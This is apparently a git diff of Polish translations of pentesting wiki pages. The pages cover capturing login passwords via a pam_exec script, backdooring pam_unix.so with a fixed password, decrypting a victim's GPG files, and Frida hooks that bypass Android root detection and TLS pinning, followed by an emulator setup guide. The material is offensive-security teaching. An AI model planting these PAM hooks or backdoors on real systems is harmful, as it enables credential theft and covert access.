Pluggable Authentication Modules (PAM) oferują elastyczność w zarządzaniu uwierzytelnianiem w systemach Unix. Mogą zwiększać bezpieczeństwo przez dostosowywanie procesów logowania, ale mogą też stwarzać ryzyko przy niewłaściwym użyciu. To podsumowanie opisuje technikę przechwytywania poświadczeń logowania z użyciem PAM oraz strategie łagodzenia skutków.
|
||||
|
||||
**Przechwytywanie poświadczeń:**
|
||||
**Capturing Credentials:**
|
||||
|
||||
- Skrypt bash o nazwie `toomanysecrets.sh` jest stworzony do logowania prób logowania, zapisując datę, nazwę użytkownika (`$PAM_USER`), hasło (przez stdin) i IP hosta zdalnego (`$PAM_RHOST`) do `/var/log/toomanysecrets.log`.
|
||||
- Skrypt zostaje uczyniony wykonywalnym i zintegrowany z konfiguracją PAM (`common-auth`) przy użyciu modułu `pam_exec.so` z opcjami uruchamiania w trybie cichym i przekazania tokena uwierzytelniającego do skryptu.
|
||||
- Podejście demonstruje, jak skompromitowany host Linux może zostać wykorzystany do dyskretnego logowania poświadczeń.
|
||||
- Skrypt bash o nazwie `toomanysecrets.sh` został stworzony do logowania prób logowania, zapisując datę, nazwę użytkownika (`$PAM_USER`), hasło (przez stdin) oraz IP zdalnego hosta (`$PAM_RHOST`) do `/var/log/toomanysecrets.log`.
|
||||
- Skrypt został uczyniony wykonywalnym i zintegrowany z konfiguracją PAM (`common-auth`) przy użyciu modułu `pam_exec.so` z opcjami uruchamiania w trybie cichym oraz ujawniając token uwierzytelnienia skryptowi.
|
||||
- Podejście pokazuje, jak skompromitowany host Linux może zostać wykorzystany do dyskretnego logowania poświadczeń.
|
||||
```bash
|
||||
#!/bin/sh
|
||||
echo " $(date) $PAM_USER, $(cat -), From: $PAM_RHOST" >> /var/log/toomanysecrets.log
|
||||
@ -31,28 +32,28 @@ sudo chmod 700 /usr/local/bin/toomanysecrets.sh
|
||||
```
|
||||
### Backdooring PAM
|
||||
|
||||
**Szczegóły znajdziesz w [original post](https://infosecwriteups.com/creating-a-backdoor-in-pam-in-5-line-of-code-e23e99579cd9)**. Poniżej tylko podsumowanie:
|
||||
**Aby uzyskać więcej szczegółów sprawdź [oryginalny wpis](https://infosecwriteups.com/creating-a-backdoor-in-pam-in-5-line-of-code-e23e99579cd9)**. To tylko podsumowanie:
|
||||
|
||||
Pluggable Authentication Module (PAM) to system używany w Linuxie do uwierzytelniania użytkowników. Działa on na trzech głównych koncepcjach: **username**, **password** oraz **service**. Pliki konfiguracyjne dla każdej usługi znajdują się w katalogu `/etc/pam.d/`, gdzie shared libraries zajmują się uwierzytelnianiem.
|
||||
Pluggable Authentication Module (PAM) to system używany w Linux do uwierzytelniania użytkowników. Działa na trzech głównych koncepcjach: **nazwie użytkownika**, **haśle** i **usłudze**. Pliki konfiguracyjne dla każdej usługi znajdują się w katalogu `/etc/pam.d/`, gdzie biblioteki współdzielone obsługują uwierzytelnianie.
|
||||
|
||||
**Cel**: Zmodyfikować PAM tak, aby umożliwić uwierzytelnianie przy użyciu określonego hasła, omijając rzeczywiste hasło użytkownika. Skupia się to szczególnie na bibliotece współdzielonej `pam_unix.so` używanej przez plik `common-auth`, który jest dołączany przez niemal wszystkie usługi do weryfikacji hasła.
|
||||
**Cel**: Zmodyfikować PAM tak, aby pozwalał na uwierzytelnianie przy użyciu konkretnego hasła, omijając rzeczywiste hasło użytkownika. Skupia się to szczególnie na bibliotece współdzielonej `pam_unix.so` używanej przez plik `common-auth`, który jest dołączany przez prawie wszystkie usługi w celu weryfikacji hasła.
|
||||
|
||||
### Steps for Modifying `pam_unix.so`:
|
||||
|
||||
1. **Locate the Authentication Directive** in the `common-auth` file:
|
||||
- The line responsible for checking a user's password calls `pam_unix.so`.
|
||||
- Linia odpowiedzialna za sprawdzanie hasła użytkownika wywołuje `pam_unix.so`.
|
||||
2. **Modify Source Code**:
|
||||
- Add a conditional statement in the `pam_unix_auth.c` source file that grants access if a predefined password is used, otherwise, it proceeds with the usual authentication process.
|
||||
- Dodaj instrukcję warunkową w pliku źródłowym `pam_unix_auth.c`, która przyzna dostęp, jeśli użyte zostanie zdefiniowane wcześniej hasło; w przeciwnym razie kontynuuje standardowy proces uwierzytelniania.
|
||||
3. **Recompile and Replace** the modified `pam_unix.so` library in the appropriate directory.
|
||||
4. **Testing**:
|
||||
- Access is granted across various services (login, ssh, sudo, su, screensaver) with the predefined password, while normal authentication processes remain unaffected.
|
||||
- Dostęp zostaje przyznany w różnych usługach (login, ssh, sudo, su, screensaver) przy użyciu zdefiniowanego hasła, podczas gdy normalne procesy uwierzytelniania pozostają nienaruszone.
|
||||
|
||||
> [!TIP]
|
||||
> Możesz zautomatyzować ten proces za pomocą [https://github.com/zephrax/linux-pam-backdoor](https://github.com/zephrax/linux-pam-backdoor)
|
||||
> You can automate this process with [https://github.com/zephrax/linux-pam-backdoor](https://github.com/zephrax/linux-pam-backdoor)
|
||||
|
||||
## Decrypting GPG loot via homedir relocation
|
||||
|
||||
Jeśli znajdziesz zaszyfrowany plik `.gpg` i folder użytkownika `~/.gnupg` (pubring, private-keys, trustdb), ale nie możesz odszyfrować z powodu uprawnień/blokad homedir GnuPG, skopiuj keyring do zapisywalnej lokalizacji i użyj go jako swojego GPG home.
|
||||
Jeśli znajdziesz zaszyfrowany plik `.gpg` i katalog `~/.gnupg` użytkownika (pubring, private-keys, trustdb), ale nie możesz odszyfrować z powodu uprawnień/blokad homedir GnuPG, skopiuj keyring do zapisywalnej lokalizacji i użyj go jako swojego GPG home.
|
||||
|
||||
Typowe błędy, które zobaczysz bez tego: "unsafe ownership on homedir", "failed to create temporary file", lub "decryption failed: No secret key" (ponieważ GPG nie może odczytać/zapisać oryginalnego homedir).
|
||||
|
||||
@ -72,7 +73,7 @@ gpg --homedir /dev/shm/fakehome/.gnupg -d /home/victim/backup/secrets.gpg
|
||||
Jeśli materiał klucza prywatnego znajduje się w `private-keys-v1.d`, GPG odblokuje i odszyfruje bez proszenia o passphrase (lub poprosi, jeśli klucz jest chroniony).
|
||||
|
||||
|
||||
## Źródła
|
||||
## References
|
||||
|
||||
- [0xdf – HTB Environment (GPG homedir relocation to decrypt loot)](https://0xdf.gitlab.io/2025/09/06/htb-environment.html)
|
||||
- [GnuPG Manual – Home directory and GNUPGHOME](https://www.gnupg.org/documentation/manuals/gnupg/GPG-Configuration-Options.html#index-homedir)
|
||||
|
File diff suppressed because it is too large
Load Diff
File diff suppressed because it is too large
Load Diff
@ -2,7 +2,7 @@
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
Ta strona dostarcza praktyczny workflow pozwalający odzyskać dynamiczną analizę aplikacji Android, które wykrywają/root‑blokują instrumentation lub wymuszają TLS pinning. Koncentruje się na szybkim triage, typowych detekcjach oraz copy‑pasteable hooks/tactics do ich ominięcia bez repacking, kiedy to możliwe.
|
||||
Ta strona przedstawia praktyczny workflow, aby odzyskać dynamic analysis wobec aplikacji Android, które wykrywają/root‑blokują instrumentation lub wymuszają TLS pinning. Skupia się na szybkim triage, typowych wykryciach oraz copy‑pasteable hooks/tactics do ich obejścia bez repackowania, gdy to możliwe.
|
||||
|
||||
## Detection Surface (what apps check)
|
||||
|
||||
@ -18,14 +18,14 @@ Ta strona dostarcza praktyczny workflow pozwalający odzyskać dynamiczną anali
|
||||
- Enable DenyList, add the target package
|
||||
- Reboot and retest
|
||||
|
||||
Many apps only look for obvious indicators (su/Magisk paths/getprop). DenyList often neutralizes naive checks.
|
||||
Wiele aplikacji szuka tylko oczywistych wskaźników (su/Magisk paths/getprop). DenyList często neutralizuje naiwne checks.
|
||||
|
||||
References:
|
||||
- Magisk (Zygisk & DenyList): https://github.com/topjohnwu/Magisk
|
||||
|
||||
## Step 2 — 30‑second Frida Codeshare tests
|
||||
|
||||
Try common drop‑in scripts before deep diving:
|
||||
Wypróbuj common drop‑in scripts zanim zaczniesz dokładniejsze analizy:
|
||||
|
||||
- anti-root-bypass.js
|
||||
- anti-frida-detection.js
|
||||
@ -35,13 +35,13 @@ Example:
|
||||
```bash
|
||||
frida -U -f com.example.app -l anti-frida-detection.js
|
||||
```
|
||||
Zazwyczaj stubują sprawdzenia root/debug w Java, skanowania procesów i usług oraz natywne ptrace(). Przydatne w słabo zabezpieczonych aplikacjach; w przypadku wzmocnionych celów mogą być potrzebne dostosowane hooks.
|
||||
Zazwyczaj stubują Java root/debug checks, process/service scans oraz natywne ptrace(). Przydatne w słabo zabezpieczonych aplikacjach; hardened targets mogą wymagać dostosowanych hooks.
|
||||
|
||||
- Codeshare: https://codeshare.frida.re/
|
||||
|
||||
## Automatyzacja z Medusa (Frida framework)
|
||||
|
||||
Medusa udostępnia 90+ gotowych modułów do SSL unpinning, root/emulator detection bypass, HTTP comms logging, crypto key interception i innych.
|
||||
Medusa oferuje 90+ gotowych modułów do SSL unpinning, root/emulator detection bypass, HTTP comms logging, crypto key interception i innych.
|
||||
```bash
|
||||
git clone https://github.com/Ch0pin/medusa
|
||||
cd medusa
|
||||
@ -54,40 +54,40 @@ use http_communications/multiple_unpinner
|
||||
use root_detection/universal_root_detection_bypass
|
||||
run com.target.app
|
||||
```
|
||||
Wskazówka: Medusa świetnie nadaje się do szybkich zwycięstw przed napisaniem custom hooks. Możesz też cherry-pick modules i połączyć je z własnymi scripts.
|
||||
Porada: Medusa świetnie nadaje się do szybkich zwycięstw przed napisaniem własnych hooks. Możesz też selektywnie wybierać modules i łączyć je z własnymi scripts.
|
||||
|
||||
## Krok 3 — Omijanie detektorów uruchamianych przy inicjalizacji przez późne dołączanie
|
||||
## Krok 3 — Bypass init-time detectors by attaching late
|
||||
|
||||
Wiele wykryć uruchamia się tylko podczas process spawn/onCreate(). Spawn‑time injection (-f) lub gadgets zostają wykryte; podłączenie się po załadowaniu UI może je ominąć.
|
||||
Wiele wykryć działa tylko podczas process spawn/onCreate(). Spawn‑time injection (-f) lub gadgets zostają wykryte; dołączenie po załadowaniu UI może je ominąć.
|
||||
```bash
|
||||
# Launch the app normally (launcher/adb), wait for UI, then attach
|
||||
frida -U -n com.example.app
|
||||
# Or with Objection to attach to running process
|
||||
aobjection --gadget com.example.app explore # if using gadget
|
||||
```
|
||||
Jeśli to zadziała, utrzymaj sesję stabilną i przejdź do mapowania oraz wykonywania stub checks.
|
||||
Jeśli to zadziała, utrzymaj sesję stabilną i przejdź do mapowania i sprawdzeń stubów.
|
||||
|
||||
## Krok 4 — Mapuj logikę wykrywania za pomocą Jadx i przeszukiwania stringów
|
||||
## Krok 4 — Zmapuj logikę wykrywania za pomocą Jadx i string hunting
|
||||
|
||||
Słowa kluczowe do statycznego triage w Jadx:
|
||||
Static triage keywords in Jadx:
|
||||
- "frida", "gum", "root", "magisk", "ptrace", "su", "getprop", "debugger"
|
||||
|
||||
Typowe wzorce Java:
|
||||
Typowe wzorce w Java:
|
||||
```java
|
||||
public boolean isFridaDetected() {
|
||||
return getRunningServices().contains("frida");
|
||||
}
|
||||
```
|
||||
Typowe API do przeglądu/hook:
|
||||
Powszechne API do przeglądu/hook:
|
||||
- android.os.Debug.isDebuggerConnected
|
||||
- android.app.ActivityManager.getRunningAppProcesses / getRunningServices
|
||||
- java.lang.System.loadLibrary / System.load (native bridge)
|
||||
- java.lang.Runtime.exec / ProcessBuilder (probing commands)
|
||||
- android.os.SystemProperties.get (root/emulator heuristics)
|
||||
|
||||
## Krok 5 — Runtime stubbing with Frida (Java)
|
||||
## Krok 5 — Runtime stubbing z Frida (Java)
|
||||
|
||||
Zastąp niestandardowe mechanizmy kontrolne, aby zwracały bezpieczne wartości bez przepakowywania:
|
||||
Nadpisz niestandardowe zabezpieczenia, aby zwracały bezpieczne wartości bez repackingu:
|
||||
```js
|
||||
Java.perform(() => {
|
||||
const Checks = Java.use('com.example.security.Checks');
|
||||
@ -102,7 +102,7 @@ const AM = Java.use('android.app.ActivityManager');
|
||||
AM.getRunningAppProcesses.implementation = function () { return java.util.Collections.emptyList(); };
|
||||
});
|
||||
```
|
||||
Analizujesz wczesne awarie? Zrzucaj klasy tuż przed zakończeniem działania, aby wyłapać prawdopodobne przestrzenie nazw detekcji:
|
||||
Triaging wczesnych awarii? Zrzucaj klasy tuż przed zakończeniem działania, żeby wychwycić prawdopodobne przestrzenie nazw odpowiedzialne za wykrywanie:
|
||||
```js
|
||||
Java.perform(() => {
|
||||
Java.enumerateLoadedClasses({
|
||||
@ -111,7 +111,6 @@ onComplete: () => console.log('Done')
|
||||
});
|
||||
});
|
||||
```
|
||||
```
|
||||
// Quick root detection stub example (adapt to target package/class names)
|
||||
Java.perform(() => {
|
||||
try {
|
||||
@ -119,9 +118,8 @@ const RootChecker = Java.use('com.target.security.RootCheck');
|
||||
RootChecker.isDeviceRooted.implementation = function () { return false; };
|
||||
} catch (e) {}
|
||||
});
|
||||
```
|
||||
|
||||
Zaloguj i zneutralizuj podejrzane metody, aby potwierdzić przebieg wykonania:
|
||||
Zapisz w logu i zneutralizuj podejrzane metody, aby potwierdzić przebieg wykonania:
|
||||
```js
|
||||
Java.perform(() => {
|
||||
const Det = Java.use('com.example.security.DetectionManager');
|
||||
@ -133,9 +131,9 @@ return false;
|
||||
```
|
||||
## Bypass emulator/VM detection (Java stubs)
|
||||
|
||||
Typowe heurystyki: Build.FINGERPRINT/MODEL/MANUFACTURER/HARDWARE zawierające generic/goldfish/ranchu/sdk; artefakty QEMU takie jak /dev/qemu_pipe, /dev/socket/qemud; domyślny MAC 02:00:00:00:00:00; NAT 10.0.2.x; brak telephony/sensors.
|
||||
Typowe heurystyki: pola Build.FINGERPRINT/MODEL/MANUFACTURER/HARDWARE zawierające generic/goldfish/ranchu/sdk; artefakty QEMU, takie jak /dev/qemu_pipe, /dev/socket/qemud; domyślny MAC 02:00:00:00:00:00; NAT 10.0.2.x; brak telephony/sensors.
|
||||
|
||||
Szybkie sfałszowanie pól Build:
|
||||
Szybkie podszycie się pod pola Build:
|
||||
```js
|
||||
Java.perform(function(){
|
||||
var Build = Java.use('android.os.Build');
|
||||
@ -145,11 +143,11 @@ Build.BRAND.value = 'google';
|
||||
Build.FINGERPRINT.value = 'google/panther/panther:14/UP1A.231105.003/1234567:user/release-keys';
|
||||
});
|
||||
```
|
||||
Uzupełnij o stuby dla sprawdzeń istnienia plików oraz identyfikatorów (TelephonyManager.getDeviceId/SubscriberId, WifiInfo.getMacAddress, SensorManager.getSensorList), aby zwracały realistyczne wartości.
|
||||
Uzupełnij o stuby dla sprawdzania istnienia plików oraz identyfikatorów (TelephonyManager.getDeviceId/SubscriberId, WifiInfo.getMacAddress, SensorManager.getSensorList), aby zwracały realistyczne wartości.
|
||||
|
||||
## SSL pinning bypass quick hook (Java)
|
||||
|
||||
Zneutralizuj niestandardowe TrustManagers i wymuś permisywne konteksty SSL:
|
||||
Zneutralizuj niestandardowe TrustManagers i wymuś zezwalające SSL contexts:
|
||||
```js
|
||||
Java.perform(function(){
|
||||
var X509TrustManager = Java.use('javax.net.ssl.X509TrustManager');
|
||||
@ -168,27 +166,27 @@ return SSLContextInit.call(this, km, TrustManagers, sr);
|
||||
});
|
||||
```
|
||||
Notatki
|
||||
- Rozszerz dla OkHttp: hook okhttp3.CertificatePinner and HostnameVerifier as needed, or use a universal unpinning script from CodeShare.
|
||||
- Rozszerz dla OkHttp: hook okhttp3.CertificatePinner i HostnameVerifier w razie potrzeby, lub użyj uniwersalnego skryptu unpinning z CodeShare.
|
||||
- Przykład uruchomienia: `frida -U -f com.target.app -l ssl-bypass.js --no-pause`
|
||||
|
||||
## Krok 6 — Podążaj śladem JNI/native, gdy Java hooks zawodzą
|
||||
## Krok 6 — Podążaj za śladem JNI/native, gdy Java hooks zawiodą
|
||||
|
||||
Śledź JNI entry points, aby zlokalizować native loaders i detection init:
|
||||
Śledź punkty wejścia JNI, aby zlokalizować native loaders i inicjalizację detekcji:
|
||||
```bash
|
||||
frida-trace -n com.example.app -i "JNI_OnLoad"
|
||||
```
|
||||
Szybkie natywne triage dołączonych plików .so:
|
||||
Szybka natywna wstępna ocena dołączonych plików .so:
|
||||
```bash
|
||||
# List exported symbols & JNI
|
||||
nm -D libfoo.so | head
|
||||
objdump -T libfoo.so | grep Java_
|
||||
strings -n 6 libfoo.so | egrep -i 'frida|ptrace|gum|magisk|su|root'
|
||||
```
|
||||
Interactive/native reversing:
|
||||
Interaktywne/native reversing:
|
||||
- Ghidra: https://ghidra-sre.org/
|
||||
- r2frida: https://github.com/nowsecure/r2frida
|
||||
|
||||
Przykład: unieszkodliwienie ptrace, aby obejść prosty anti‑debug w libc:
|
||||
Przykład: zneutralizować ptrace, aby obejść prosty anti‑debug w libc:
|
||||
```js
|
||||
const ptrace = Module.findExportByName(null, 'ptrace');
|
||||
if (ptrace) {
|
||||
@ -209,23 +207,23 @@ Jeśli wolisz repacking zamiast runtime hooks, spróbuj:
|
||||
objection patchapk --source app.apk
|
||||
```
|
||||
Uwagi:
|
||||
- Wymaga apktool; upewnij się, że masz aktualną wersję zgodnie z oficjalnym przewodnikiem, aby uniknąć problemów z budowaniem: https://apktool.org/docs/install
|
||||
- Gadget injection umożliwia instrumentation bez root, ale nadal może zostać wykryte przez silniejsze init‑time checks.
|
||||
- Wymaga apktool; upewnij się, że używasz aktualnej wersji według oficjalnego przewodnika, aby uniknąć problemów z budowaniem: https://apktool.org/docs/install
|
||||
- Gadget injection umożliwia instrumentation bez root, ale nadal może być wykryte przez silniejsze init‑time checks.
|
||||
|
||||
Opcjonalnie dodaj moduły LSPosed i Shamiko dla lepszego ukrywania root w środowiskach Zygisk oraz zadbaj o DenyList, aby objąć procesy potomne.
|
||||
Opcjonalnie dodaj moduły LSPosed i Shamiko dla silniejszego ukrywania root w środowiskach Zygisk i dopracuj DenyList, aby objąć procesy potomne.
|
||||
|
||||
Referencje:
|
||||
- Objection: https://github.com/sensepost/objection
|
||||
|
||||
## Krok 8 — Plan awaryjny: Patch TLS pinning dla widoczności sieci
|
||||
## Krok 8 — Fallback: Patch TLS pinning for network visibility
|
||||
|
||||
Jeśli instrumentation jest zablokowane, nadal możesz przeanalizować ruch, usuwając pinning statycznie:
|
||||
Jeśli instrumentation jest zablokowane, nadal możesz przejrzeć ruch, usuwając pinning statycznie:
|
||||
```bash
|
||||
apk-mitm app.apk
|
||||
# Then install the patched APK and proxy via Burp/mitmproxy
|
||||
```
|
||||
- Narzędzie: https://github.com/shroudedcode/apk-mitm
|
||||
- Dla sztuczek związanych z konfiguracją sieci i CA‑trust (oraz Android 7+ user CA trust), zobacz:
|
||||
- W sprawie trików związanych z network config CA‑trust (i zaufania użytkownika CA w Android 7+), zobacz:
|
||||
|
||||
{{#ref}}
|
||||
make-apk-accept-ca-certificate.md
|
||||
@ -235,7 +233,7 @@ make-apk-accept-ca-certificate.md
|
||||
install-burp-certificate.md
|
||||
{{#endref}}
|
||||
|
||||
## Przydatna ściągawka poleceń
|
||||
## Przydatna ściągawka z poleceniami
|
||||
```bash
|
||||
# List processes and attach
|
||||
frida-ps -Uai
|
||||
@ -255,12 +253,12 @@ apk-mitm app.apk
|
||||
```
|
||||
## Wskazówki i uwagi
|
||||
|
||||
- Preferuj dołączanie (attach) później zamiast spawnowania, gdy aplikacje crashują przy uruchomieniu
|
||||
- Niektóre wykrycia uruchamiają się ponownie w krytycznych przepływach (np. payment, auth) — utrzymuj hooks aktywne podczas nawigacji
|
||||
- Łącz analizę statyczną i dynamiczną: wyszukaj stringi w Jadx, aby zawęzić listę klas; następnie hookuj metody, by zweryfikować je w runtime
|
||||
- Zabezpieczone aplikacje mogą używać packers i native TLS pinning — spodziewaj się reverse engineeringu natywnego kodu
|
||||
- Prefer attaching late zamiast spawning, gdy aplikacje crashują przy uruchomieniu
|
||||
- Niektóre detekcje uruchamiają się ponownie w krytycznych przepływach (np. payment, auth) — utrzymuj hooks aktywne podczas nawigacji
|
||||
- Łącz analizę statyczną i dynamiczną: wyszukaj stringi w Jadx, aby zawęzić listę klas; następnie hookuj metody, by zweryfikować w runtime
|
||||
- Aplikacje hardened mogą używać packers i native TLS pinning — spodziewaj się analizy natywnego kodu
|
||||
|
||||
## Źródła
|
||||
## References
|
||||
|
||||
- [Reversing Android Apps: Bypassing Detection Like a Pro](https://www.kayssel.com/newsletter/issue-12/)
|
||||
- [Frida Codeshare](https://codeshare.frida.re/)
|
||||
|
@ -1,26 +1,26 @@
|
||||
# AVD - Wirtualne urządzenie Androida
|
||||
# AVD - Android Virtual Device
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
Bardzo dziękuję [**@offsecjay**](https://twitter.com/offsecjay) za pomoc przy tworzeniu tej treści.
|
||||
Dziękuję bardzo [**@offsecjay**](https://twitter.com/offsecjay) za jego pomoc przy tworzeniu tej zawartości.
|
||||
|
||||
## Czym jest
|
||||
## Co to jest
|
||||
|
||||
Android Studio pozwala **uruchamiać wirtualne maszyny Androida, których możesz użyć do testowania plików APK**. Aby z nich korzystać, będziesz potrzebować:
|
||||
Android Studio pozwala **uruchamiać wirtualne maszyny Androida, których możesz użyć do testowania APK**. Aby z nich korzystać będziesz potrzebować:
|
||||
|
||||
- Pakiet **Android SDK tools** - [Download here](https://developer.android.com/studio/releases/sdk-tools).
|
||||
- Lub **Android Studio** (z Android SDK tools) - [Download here](https://developer.android.com/studio).
|
||||
- The **Android SDK tools** - [Download here](https://developer.android.com/studio/releases/sdk-tools).
|
||||
- Or **Android Studio** (with Android SDK tools) - [Download here](https://developer.android.com/studio).
|
||||
|
||||
Na Windows (w moim przypadku) **po zainstalowaniu Android Studio** miałem **SDK Tools zainstalowane w**: `C:\Users\<UserName>\AppData\Local\Android\Sdk\tools`
|
||||
Na Windowsie (w moim przypadku) **po zainstalowaniu Android Studio** miałem **SDK Tools zainstalowane w**: `C:\Users\<UserName>\AppData\Local\Android\Sdk\tools`
|
||||
|
||||
Na macu możesz **pobrać SDK tools** i mieć je w PATH uruchamiając:
|
||||
Na macOS możesz **pobrać SDK tools** i dodać je do PATH uruchamiając:
|
||||
```bash
|
||||
brew tap homebrew/cask
|
||||
brew install --cask android-sdk
|
||||
```
|
||||
Albo z poziomu **Android Studio GUI**, jak wskazano w [https://stackoverflow.com/questions/46402772/failed-to-install-android-sdk-java-lang-noclassdeffounderror-javax-xml-bind-a](https://stackoverflow.com/questions/46402772/failed-to-install-android-sdk-java-lang-noclassdeffounderror-javax-xml-bind-a), co zainstaluje je w `~/Library/Android/sdk/cmdline-tools/latest/bin/` i `~/Library/Android/sdk/platform-tools/` oraz `~/Library/Android/sdk/emulator/`
|
||||
Lub z **Android Studio GUI**, jak wskazano w [https://stackoverflow.com/questions/46402772/failed-to-install-android-sdk-java-lang-noclassdeffounderror-javax-xml-bind-a](https://stackoverflow.com/questions/46402772/failed-to-install-android-sdk-java-lang-noclassdeffounderror-javax-xml-bind-a), które zainstaluje je w `~/Library/Android/sdk/cmdline-tools/latest/bin/` i `~/Library/Android/sdk/platform-tools/` i `~/Library/Android/sdk/emulator/`
|
||||
|
||||
W przypadku problemów z Java:
|
||||
Dla problemów z Java:
|
||||
```java
|
||||
export JAVA_HOME=/Applications/Android\ Studio.app/Contents/jbr/Contents/Home
|
||||
```
|
||||
@ -28,7 +28,7 @@ export JAVA_HOME=/Applications/Android\ Studio.app/Contents/jbr/Contents/Home
|
||||
|
||||
### Przygotowanie maszyny wirtualnej
|
||||
|
||||
Jeśli zainstalowałeś Android Studio, otwórz widok główny projektu i przejdź: _**Tools**_ --> _**AVD Manager.**_
|
||||
If you installed Android Studio, you can just open the main project view and access: _**Tools**_ --> _**AVD Manager.**_
|
||||
|
||||
<div align="center" data-full-width="false">
|
||||
|
||||
@ -36,38 +36,38 @@ Jeśli zainstalowałeś Android Studio, otwórz widok główny projektu i przejd
|
||||
|
||||
</div>
|
||||
|
||||
Następnie kliknij _**Create Virtual Device**_
|
||||
Then, click on _**Create Virtual Device**_
|
||||
|
||||
<figure><img src="../../images/image (1143).png" alt="" width="188"><figcaption></figcaption></figure>
|
||||
|
||||
_**select** telefon, którego chcesz użyć_ i kliknij _**Next.**_
|
||||
_**wybierz** telefon, którego chcesz użyć_ i kliknij _**Next.**_
|
||||
|
||||
> [!WARNING]
|
||||
> Jeśli potrzebujesz telefonu z zainstalowanym Play Store wybierz taki, który ma ikonę Play Store!
|
||||
>
|
||||
> <img src="../../images/image (1144).png" alt="" data-size="original">
|
||||
|
||||
W tym widoku będziesz mógł **wybrać i pobrać obraz Androida**, na którym telefon będzie działał:
|
||||
W bieżącym widoku będziesz mógł **wybrać i pobrać obraz Androida**, na którym telefon będzie działać:
|
||||
|
||||
<figure><img src="../../images/image (1145).png" alt="" width="375"><figcaption></figcaption></figure>
|
||||
|
||||
Więc wybierz go, a jeśli nie jest pobrany kliknij na symbol _**Download**_ obok nazwy (**now wait until the image is downloaded).**\
|
||||
Po pobraniu obrazu po prostu wybierz **`Next`** i **`Finish`**.
|
||||
Wybierz go, a jeśli nie jest pobrany, kliknij symbol _**Download**_ obok nazwy (poczekaj, aż obraz zostanie pobrany).\
|
||||
Po pobraniu obrazu po prostu wybierz **`Next`** i **`Finish`.**
|
||||
|
||||
Maszyna wirtualna zostanie utworzona. Teraz **za każdym razem, gdy wejdziesz do AVD Manager, będzie ona dostępna**.
|
||||
Maszyna wirtualna zostanie utworzona. Teraz **za każdym razem, gdy otworzysz AVD Manager, będzie ona dostępna**.
|
||||
|
||||
### Uruchamianie maszyny wirtualnej
|
||||
|
||||
Aby ją **uruchomić**, naciśnij _**Start button**_.
|
||||
Aby ją **uruchomić**, po prostu naciśnij _**Start button**_.
|
||||
|
||||
.png>)
|
||||
|
||||
## Narzędzie wiersza poleceń
|
||||
|
||||
> [!WARNING]
|
||||
> Dla macOS narzędzie `avdmanager` znajdziesz w `/Users/<username>/Library/Android/sdk/tools/bin/avdmanager` a `emulator` w `/Users/<username>/Library/Android/sdk/emulator/emulator` jeśli są zainstalowane.
|
||||
> Dla macOS narzędzie `avdmanager` znajdziesz w `/Users/<username>/Library/Android/sdk/tools/bin/avdmanager`, a `emulator` w `/Users/<username>/Library/Android/sdk/emulator/emulator`, jeśli masz je zainstalowane.
|
||||
|
||||
Przede wszystkim musisz **zdecydować, którego telefonu chcesz użyć**, aby zobaczyć listę dostępnych telefonów wykonaj:
|
||||
Przede wszystkim musisz **zdecydować, którego telefonu chcesz użyć**; aby zobaczyć listę możliwych telefonów, wykonaj:
|
||||
```
|
||||
C:\Users\<UserName>\AppData\Local\Android\Sdk\tools\bin\avdmanager.bat list device
|
||||
|
||||
@ -95,16 +95,16 @@ Name: Nexus 10
|
||||
OEM : Google
|
||||
[...]
|
||||
```
|
||||
Po wybraniu nazwy urządzenia, którego chcesz użyć, musisz **zdecydować, który obraz Androida chcesz uruchomić na tym urządzeniu.**\
|
||||
Gdy już wybierzesz nazwę urządzenia, którego chcesz użyć, musisz **zdecydować, jaki obraz Androida chcesz uruchomić na tym urządzeniu.**\
|
||||
Możesz wyświetlić wszystkie opcje za pomocą `sdkmanager`:
|
||||
```bash
|
||||
C:\Users\<UserName>\AppData\Local\Android\Sdk\tools\bin\sdkmanager.bat --list
|
||||
```
|
||||
I **pobierz** ten (lub wszystkie), które chcesz użyć za pomocą:
|
||||
Następnie **pobierz** ten (lub wszystkie), których chcesz użyć za pomocą:
|
||||
```bash
|
||||
C:\Users\<UserName>\AppData\Local\Android\Sdk\tools\bin\sdkmanager.bat "platforms;android-28" "system-images;android-28;google_apis;x86_64"
|
||||
```
|
||||
Po pobraniu obrazu Android, którego chcesz użyć, możesz **wypisać wszystkie pobrane obrazy Androida** za pomocą:
|
||||
Gdy pobierzesz obraz Androida, którego chcesz użyć, możesz **wyświetlić listę wszystkich pobranych obrazów Androida** za pomocą:
|
||||
```
|
||||
C:\Users\<UserName>\AppData\Local\Android\Sdk\tools\bin\avdmanager.bat list target
|
||||
----------
|
||||
@ -120,11 +120,12 @@ Type: Platform
|
||||
API level: 29
|
||||
Revision: 4
|
||||
```
|
||||
W tym momencie wybrałeś urządzenie, którego chcesz użyć i pobrałeś obraz Androida, więc **możesz utworzyć maszynę wirtualną przy użyciu**:
|
||||
W tym momencie wybrałeś urządzenie, które chcesz użyć, i pobrałeś obraz Androida, więc **możesz utworzyć maszynę wirtualną za pomocą**:
|
||||
```bash
|
||||
C:\Users\<UserName>\AppData\Local\Android\Sdk\tools\bin\avdmanager.bat -v create avd -k "system-images;android-28;google_apis;x86_64" -n "AVD9" -d "Nexus 5X"
|
||||
```
|
||||
W ostatnim poleceniu **utworzyłem maszynę wirtualną nazwaną** "_AVD9_" używając **urządzenia** "_Nexus 5X_" i **obrazu Androida** "_system-images;android-28;google_apis;x86_64_".\ Teraz możesz **wypisać maszyny wirtualne** które utworzyłeś poleceniem:
|
||||
W ostatnim poleceniu **utworzyłem VM o nazwie** "_AVD9_" używając **urządzenia** "_Nexus 5X_" i **obrazu Android** "_system-images;android-28;google_apis;x86_64_".\
|
||||
Teraz możesz **wyświetlić listę maszyn wirtualnych** które utworzyłeś za pomocą:
|
||||
```bash
|
||||
C:\Users\<UserName>\AppData\Local\Android\Sdk\tools\bin\avdmanager.bat list avd
|
||||
|
||||
@ -139,55 +140,55 @@ Name: Pixel_2_API_27
|
||||
Path: C:\Users\cpolo\.android\avd\Pixel_2_API_27_1.avd
|
||||
Error: Google pixel_2 no longer exists as a device
|
||||
```
|
||||
### Uruchamianie maszyny wirtualnej
|
||||
### Uruchom maszynę wirtualną
|
||||
|
||||
> [!WARNING]
|
||||
> Dla macOS możesz znaleźć narzędzie `avdmanager` w `/Users/<username>/Library/Android/sdk/tools/bin/avdmanager` i `emulator` w `/Users/<username>/Library/Android/sdk/emulator/emulator`, jeśli masz je zainstalowane.
|
||||
